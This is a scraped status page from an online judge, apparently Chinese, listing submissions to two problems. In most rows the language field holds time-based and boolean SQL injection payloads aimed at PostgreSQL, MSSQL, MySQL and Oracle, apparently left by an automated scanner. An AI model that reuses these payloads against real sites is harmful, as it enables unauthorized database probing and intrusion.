由于一些原因 ，返回结果会 比较 慢，请耐心等待。 估计返回结果时间为 65.8 秒 。 着急的话可以去 vj 上点一下你的提交状态。

Status

# When Who Problem Lang Verdict Time Memory
56289 2025-06-18 06:34:24 aiPxvpay I - KD-Graph G++ Pending 0 ms 0 KB
56288 2025-06-18 06:34:24 aiPxvpay I - KD-Graph 0'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' Pending 0 ms 0 KB
56286 2025-06-18 06:34:18 aiPxvpay N - Minimum spanning tree 2-1) OR 335=(SELECT 335 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56285 2025-06-18 06:34:15 aiPxvpay I - KD-Graph 0*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) Pending 0 ms 0 KB
56282 2025-06-18 06:34:10 aiPxvpay N - Minimum spanning tree 2-1 OR 666=(SELECT 666 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56281 2025-06-18 06:34:07 aiPxvpay I - KD-Graph 0Z2LiV4lV')) OR 289=(SELECT 289 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56278 2025-06-18 06:34:02 aiPxvpay N - Minimum spanning tree 2Hot19UcD'; waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56277 2025-06-18 06:33:59 aiPxvpay I - KD-Graph 0GtoecmDH') OR 684=(SELECT 684 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56275 2025-06-18 06:33:54 aiPxvpay N - Minimum spanning tree 2-1 waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56274 2025-06-18 06:33:51 aiPxvpay I - KD-Graph 0TwKbwbrO' OR 228=(SELECT 228 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56273 2025-06-18 06:33:45 aiPxvpay N - Minimum spanning tree 2-1); waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56272 2025-06-18 06:33:43 aiPxvpay I - KD-Graph 0-1)) OR 43=(SELECT 43 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56271 2025-06-18 06:33:38 aiPxvpay N - Minimum spanning tree 2-1; waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56270 2025-06-18 06:33:35 aiPxvpay I - KD-Graph 0-1) OR 864=(SELECT 864 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56269 2025-06-18 06:33:28 aiPxvpay I - KD-Graph 0-1 OR 806=(SELECT 806 FROM PG_SLEEP(15))-- Pending 0 ms 0 KB
56268 2025-06-18 06:33:22 aiPxvpay N - Minimum spanning tree 20"XOR(2*if(now()=sysdate(),sleep(15),0))XOR"Z Pending 0 ms 0 KB
56267 2025-06-18 06:33:19 aiPxvpay I - KD-Graph 0vVr7aO2v'; waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56266 2025-06-18 06:33:14 aiPxvpay N - Minimum spanning tree 20'XOR(2*if(now()=sysdate(),sleep(15),0))XOR'Z Pending 0 ms 0 KB
56265 2025-06-18 06:33:11 aiPxvpay I - KD-Graph 0-1 waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56264 2025-06-18 06:33:06 aiPxvpay N - Minimum spanning tree 2*if(now()=sysdate(),sleep(15),0) Pending 0 ms 0 KB
56263 2025-06-18 06:33:03 aiPxvpay I - KD-Graph 0-1); waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56262 2025-06-18 06:32:58 aiPxvpay N - Minimum spanning tree -1" OR 5*5=25 or "IGd1RrQd"=" Pending 0 ms 0 KB
56261 2025-06-18 06:32:58 aiPxvpay N - Minimum spanning tree -1' OR 5*5=25 or 'ZEEnYLCJ'=' Pending 0 ms 0 KB
56260 2025-06-18 06:32:57 aiPxvpay N - Minimum spanning tree -1" OR 5*5=25 -- Pending 0 ms 0 KB
56259 2025-06-18 06:32:57 aiPxvpay N - Minimum spanning tree -1' OR 5*5=25 -- Pending 0 ms 0 KB
56258 2025-06-18 06:32:57 aiPxvpay N - Minimum spanning tree -1 OR 5*5=25 Pending 0 ms 0 KB
56257 2025-06-18 06:32:56 aiPxvpay N - Minimum spanning tree -1 OR 5*5=25 -- Pending 0 ms 0 KB
56256 2025-06-18 06:32:56 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56255 2025-06-18 06:32:55 aiPxvpay I - KD-Graph 0-1; waitfor delay '0:0:15' -- Pending 0 ms 0 KB
56254 2025-06-18 06:32:48 aiPxvpay N - Minimum spanning tree 2bm2f5LLF Pending 0 ms 0 KB
56252 2025-06-18 06:32:40 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56251 2025-06-18 06:32:39 aiPxvpay I - KD-Graph 00"XOR(0*if(now()=sysdate(),sleep(15),0))XOR"Z Pending 0 ms 0 KB
56250 2025-06-18 06:32:32 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56249 2025-06-18 06:32:31 aiPxvpay I - KD-Graph 00'XOR(0*if(now()=sysdate(),sleep(15),0))XOR'Z Pending 0 ms 0 KB
56247 2025-06-18 06:32:23 aiPxvpay I - KD-Graph 0*if(now()=sysdate(),sleep(15),0) Pending 0 ms 0 KB
56246 2025-06-18 06:32:23 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56244 2025-06-18 06:32:16 aiPxvpay I - KD-Graph -1" OR 5*5=25 or "dP4CCbNz"=" Pending 0 ms 0 KB
56243 2025-06-18 06:32:16 aiPxvpay I - KD-Graph -1' OR 5*5=25 or 'hMW1hQ5s'=' Pending 0 ms 0 KB
56242 2025-06-18 06:32:15 aiPxvpay I - KD-Graph -1" OR 5*5=25 -- Pending 0 ms 0 KB
56241 2025-06-18 06:32:15 aiPxvpay I - KD-Graph -1' OR 5*5=25 -- Pending 0 ms 0 KB
56240 2025-06-18 06:32:15 aiPxvpay I - KD-Graph -1 OR 5*5=25 Pending 0 ms 0 KB
56239 2025-06-18 06:32:14 aiPxvpay I - KD-Graph -1 OR 5*5=25 -- Pending 0 ms 0 KB
56238 2025-06-18 06:32:14 aiPxvpay I - KD-Graph G++ Pending 0 ms 0 KB
56237 2025-06-18 06:32:06 aiPxvpay I - KD-Graph 0Hxfg4YDE Pending 0 ms 0 KB
56236 2025-06-18 06:31:59 aiPxvpay I - KD-Graph G++ Pending 0 ms 0 KB
56235 2025-06-18 06:31:50 aiPxvpay I - KD-Graph G++ Pending 0 ms 0 KB
56234 2025-06-18 06:31:41 aiPxvpay I - KD-Graph G++ Pending 0 ms 0 KB
56232 2025-06-18 06:31:00 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56231 2025-06-18 06:30:45 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
56230 2025-06-18 06:30:37 aiPxvpay N - Minimum spanning tree C++ Pending 0 ms 0 KB
© 2025 FAQs Contact About